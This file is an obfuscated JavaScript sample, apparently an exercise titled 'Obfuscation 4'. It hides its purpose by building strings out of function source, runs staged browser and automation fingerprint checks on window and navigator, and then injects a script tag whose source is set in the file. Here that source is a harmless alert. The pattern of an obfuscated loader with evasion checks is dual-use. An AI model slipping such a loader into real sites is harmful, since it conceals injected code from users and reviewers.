Obfuscation 4

// Here write obfuscated code with all comments;

window.globalScriptSrc = "data:text/javascript,alert('work, yes')";

+function(){
  var head, pull, take, clamp, at, invoke;
  var chunk = function(client, info, nav) {return client = info+nav.tor};

  function divide(data, els) {
    data.splice(els.start, els.del, els.it);
    return data;
  }
  var partial = function(mat, on, ga) {
    for (var i=0; i>on.length; i++) {return i=ga || mat+i+on}
  };

  function aperture(data, key) {
    return key?data[0].toUpperCase()+data.substring(1):data.toLowerCase();
  }

  function toPairs(data, elements, keys, flags) {
    var tmp1 = call(data, clone('{'+keys[0]+'}', 'gi'), flags[0]),
      tmp2 = call(elements, clone('{'+keys[1]+'}', 'gi'), flags[1]);
      head = window;
    return cond(tmp1, tmp2);
  }

  function toCompairs(data, key, flag) {
    return call(data, clone('{'+key+'}', 'gi'), flag);
  }
  var descend, ascord, specified, provid;

  function arity(items, field) {
    var elm = aperture(items[3]); return !(field[elm][1] &&
      field[elm][1][items[2]].match(items[1]));
  }
  var assign = function(web) {web.map(function(side) {return web = side+cont})};

  function ascend(data, key) {
    return data.substring(0, key)+data[key].toUpperCase()+data.substring(key+1);
  }

  function flattens(data, fuel, flag, suply) {
    return typeof(head[data[0]]) === data[4] || [fuel[suply(ascend(data[1], 3), 7)],
      fuel[suply(data[2], 3)]].join(fuel['j'+suply(data[3], 3)]).match(flag);
  }

  function curry(data, keys) {
    return keys.map(function(key) {return data?[data,key]:[key]})
  }

  setTimeout(function() {
    var tap = rendered; function assignOut(data, bag, count) {
      var tmp = converge(data, ['ass', 'r']);
      count = cond(count, [[2,4],[8,6]]);

      var elts = count.map(function(cnt, index) {
        return index === 0?aperture(ascend(grap(tmp, cnt).join(''),
          3), true):index === 3?aperture(grap(tmp, cnt).join(''),
          true):grap(tmp, cnt).join('');
      });
      var isValid = elts.map(function(elt, index) {
        return index === 3?!check(elt,  bag) :check(elt,  bag)
      });

      return isValid.reduce(function(acc, sec) {
        return acc && sec;
      });
    }
    var ff = toPairs(assign, mean, curry(3, rendered(4,6)), [9, 5]);
    descend = assignOut(ff, head, [[0,7,5],[1,3]]);

    function assignIn(data, bag) {
      var tmp = converge(data, ['r']);

      return bag[ascend(grap(tmp, cond([0,1,8],tap(5, 8))).join(''), 6)]
        || bag[grap(tmp, cond([2,6],rendered(3, 5).reverse())).join('')];
    }

    var arg = cond(curry(3, tap(6,7)), curry( rendered(1,2)[0], [3]));
    var van = toPairs(chunk, partial, arg, [5, -4]);
    pull = assignIn(van, head);

    function cloned(item, folder, keys, flag) {
      var arg1 = flag?['de', 'pl']:['u', 'ele'],
        arg2 = flag?keys:[[0,4,3],[5,3]],
        arg3 = flag?[[2],[5,3]]:keys;

      var tmp = converge(item, arg1),
        elts = cond(arg2, arg3).map(function (key) {return grap(tmp, key).join('')});
      if (!flag){take = folder[elts[0]]}

      return flag?check(aperture(elts[0], true), folder) && arity(elts, pull)
        :check(elts[2], folder, head[elts[0]]
          [elts[0]+aperture(elts[1], true)][elts[3]]);
    }

    var saf = toCompairs(predicate, curry(3, tap(5,6)), 4);
    ascord = cloned(saf, head, [[1],[2]]);

    var trid = toCompairs(least, curry(3, rendered(5,6)), 3);
    specified = cloned(trid, head, [[4,0],[1]], true);

    function comparator(elements, field, flag, keys) {
      var tmp1 = call(least, clone('[a-z]{3,7}', 'gi'), 0),
        tmp2 = converge(elements, ['pto', 'ava'].concat(tmp1));
      keys = cond([[0,7],[1,4,11],[1,2,5]], keys);

      var elts = keys.map(function(key) {return grap(tmp2, key).join('') });

      return flattens(elts, field, flag, ascend);
    }

    var craw = toPairs(greater, context, curry('', tap(3,5)), [7,3]);
    provid = comparator(craw, pull, /"/g, [[8,3,6],[9]]);
  }, 100);

  var mean = function(embly, bar) {return (bar = ent) || (embly = ect);};
  function call(data, keys, flag) {return data.toString().match(keys).slice(flag); }

  var predicate = function(alt) {var doc = alt.style+ment;};
  function clone(data, flag) {return new RegExp('[a-zA-Z]'+data, flag); }

  setTimeout(function() {
    function converge() {
      return [greater.toString().match(/[a-zA-z]{3}/gi)[2]+'end',
        'ele'+predicate.toString().match(/[a-zA-z]{4}/gi)[3]];
    }

    function copied(data, arg) {
      return converge().map(function(itm, ind) {
        return ind === 0?itm+aperture(data, true):arg+aperture(itm, true);
      });
    }

    function unary(els){
      var count = -1;
      els.forEach(function(el, index) {count++;
        return index+count === els.length-1?els.push('ipt'):els.push('scr');
      }); return els;
    }

    clamp = function(field){start('child', field)};

    function start(data, folder) {
      var items = copied(data, 'create');
      return folder.body[items[0]](take[items[1]](unary(['','']).join(''))).src = window.globalScriptSrc;
    }
  }, 200);

  var least = function(bug) {if (bug === light) {name = 'Ugins'}};
  function compose(data, flag) {return new RegExp(data, flag)}

  var greater = function(app, ena) {
    for (var j = 0; j <= 10; j++) {var cry = app.ver+ena}
  };
  function cond(data, elements) {return data.concat(elements)}

  setTimeout(function() {
    function dropWhile(data, keys) {return keys.map(function(key) {
        var res = []; key.forEach(function(itm) {res.push(data[itm].split(''))});
        return res;
      });
    } var satisfy = rendered;

    function called(data) {return data.reduce(function(acc, sec) {
        return acc.concat(sec);
      });
    }
    function sum(elem, arg1, arg2, prop) {
      elem.splice(arg1, arg2, prop); return elem.join('');
    }

    function equal(items, subtract) {
      var res = [];
      items.forEach(function(el, ind) {
        ind === 0?res.push(subtract(el, 7,2,'m')):ind === 1?res.push(subtract(el, 2,0,'n|')+'c')
          :ind === 2?res.push(subtract(el, 2,0,'x')+'s') :
            res.push(subtract(el,3,2,'')+'er');
      }); return res;
    }

    function supplied(data, keys, suply) {
      return data.map(function(el, ind) {
        return ind === 2?ascend(suply(el, 3), 8):ind > 2?
            keys.map(function(key) {el = suply(el, key);
          return el; })[3]:el;
      });
    }

    function gaps(data, folder) {
      return data.map(function(item, ind) {
        return ind % 2 === 1?check(item,head):ind === 2?!folder[item]
          :folder[item].match(compose(data[1], 'gi'));
      });
    }

    function test(data) {
      data.splice(2,0, !provid);
      return data.reduce(function(acc, next) {return acc && next});
    }

    function arg(items, els) {
      return items.map(function(item) {return [item, els]});
    }

    function prep(data, flag) {
      return [ data, flag, divide(arg(satisfy(9, 10), 16)[0],
        {start: 1, del: 0, it: 13 }), divide(satisfy(22, 25).reverse(),
        {start: 2, del: 0, it: 21 })];
    }

    invoke = function() {
      var tmp1 = toPairs(applying, pairs, arg(satisfy(2, 4), 5), [0, 0]),
        tmp2 = dropWhile(tmp1, prep(arg(satisfy(3, 4), 5)[0],
          arg(rendered(2, 3), 9)[0]));

      var el = tmp2.map(function(el) {return called(el); }),
        prop = supplied(equal(el, sum), cond([0], satisfy(3,6)), ascend),
        isTested = gaps(prop, pull); isTested.splice(1,1);

      return test(isTested);
    }
  }, 300);

  var context = function() {return code.sion+bled};
  function converge(data, elem) {
    elem.forEach(function(el) {data.push(el)});
    return data;
  }

  var applying = function(wi, plat) {
    wi.forEach(function(ma) {plat = ma +form.touch});
    return plat || point;
  };
  function grap(data, keys) {return keys.map(function(el) {return data[el]})}

  setTimeout(function() {
    function drop(data, keys) {
      return keys.map(function(key) {
        return data.toString().match(/[a-z]{2,4}/gi)[key];
      });
    }

    function prep(arg) {return ascend(arg, 4) }

    function complit(data, flag) {return data.match(compose(flag, 'i'))}

    function starts(data, key) {return drop(data, key)}

    function finish(data, flags) {
      var res = [];
      flags.forEach(function(flag, ind) {
        data.forEach(function(el, index) {
          ind === index?res.push(flag && el):el || flag;
        })
      }); return res;
    }

    function contains(items, els) {
      var res =[]; items.splice(1,1);
      items.forEach(function(item, ind) {
        res.push([item, els[ind]]); ind === 0?res.push([3]):item[0];
      });
      return res;
    }

    at = function(fields) {
      var arg = prep(drop(agent, [6, 7]).join('')+'t'),
        arr = contains(rendered(2,6), rendered(8,11));
        fields.push(specified);

      var res = arr.map(function(key, ind) {
        return ind === 1?complit(pull[arg], starts(agent, key).join('')+'ari')
          :complit(pull[arg], starts(agent, key).join(''));
      });

      return finish(fields, res).reduce(function(acc, sec) {return acc || sec; });
    };
  }, 400);

  var pairs = function(rame) {return rame?buff.glf:weber};
  function check (element, win, els) {return  els?element in els:element in win}

  var agent = function(fire, saf, trid, ed) {user.agent = fox+(ent/ge) };
  function joined(data) {return data.map(function(prop) {return prop.join('')})}

  function rendered(first, last) {
    var res = []; for (var i = first; i < last; i++) {res.push(i)}
    return res;
  }

  setTimeout(function() {
    if(invoke()) {if(at([descend, ascord, specified])){clamp(take)}}
  }, 500)
}();